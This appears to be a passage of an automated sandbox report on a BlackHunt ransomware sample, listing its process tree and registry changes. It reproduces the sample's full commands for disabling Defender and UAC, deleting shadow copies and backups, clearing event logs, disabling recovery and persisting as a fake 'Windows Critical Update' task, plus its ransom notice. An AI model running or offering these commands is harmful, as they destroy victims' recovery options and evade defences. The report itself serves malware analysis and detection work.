wrote to memory of 3564 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 133 PID 508 wrote to memory of 3564 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 133 PID 508 wrote to memory of 3096 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 132 PID 508 wrote to memory of 3096 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 132 PID 508 wrote to memory of 3532 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 131 PID 508 wrote to memory of 3532 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 131 PID 508 wrote to memory of 5020 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 130 PID 508 wrote to memory of 5020 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 130 PID 508 wrote to memory of 2392 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 127 PID 508 wrote to memory of 2392 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 127 PID 508 wrote to memory of 4832 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 136 PID 508 wrote to memory of 4832 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 136 PID 508 wrote to memory of 1060 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 140 PID 508 wrote to memory of 1060 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 140 PID 508 wrote to memory of 2724 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 143 PID 508 wrote to memory of 2724 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 143 PID 508 wrote to memory of 4428 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 142 PID 508 wrote to memory of 4428 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 142 PID 508 wrote to memory of 4412 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 145 PID 508 wrote to memory of 4412 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 145 PID 508 wrote to memory of 4284 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 147 PID 508 wrote to memory of 4284 508 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe 147 PID 2916 wrote to memory of 2648 2916 cmd.exe 148 PID 2916 wrote to memory of 2648 2916 cmd.exe 148 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe"C:\Users\Admin\AppData\Local\Temp\817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:508 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4964
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:3144
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1008
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:4880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:4220
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3400 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2648
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:4372
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:3024
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:5040
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3360
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2376
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:4032
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2044
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:4656
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4400
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2788
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2044
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1580
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:3016
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:3152
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:552
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:4472
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2392
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:5480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:5020
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:3696
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3532
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:5632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:3096
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:868
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3564
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:4180
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:4832
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:5432
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1060
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:10096
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:4428
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:8360
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2724
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:8316
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:4412
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:4756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4284
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1504
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:680
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Modifies registry class
PID:4220
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:8428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1572
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:9240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2176
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:9236
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe" /F2⤵PID:752
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe" /F3⤵
- Creates scheduled task(s)
PID:7692
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1136
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:7688
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:5260
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:8684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:5308
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:6612
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:5180
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:8752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:5168
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:9892
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:3144 -
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:7676
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1356
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:7672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:5400
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:8260
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:5448
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:8052
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:5508
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:7096
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:10124
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:9444
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:11580
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:2056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:9844
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:8016
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:8020
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:9532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:11484
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:11300
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:8988
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:8992
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6844
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:9000
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:10216
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:13328
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3192
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:5924
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:13292
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:12384
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:20344
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:10064
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:7080
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:9492
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:8656
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:5892
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:20304
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:5700
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:19960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:5692
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:19984
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:20444
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:12264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:9536
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:20108
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:9652
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:12292
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:20408
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:20076
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:8640
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:6504
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:4284 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:20208
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 20208 -s 14564⤵
- Program crash
PID:20272
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\817918b79f466e4800eb4237b28e315b46269daf49ca98075f418c299e9a2777.exe"2⤵PID:20368
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:19972
-
-
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:1296
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
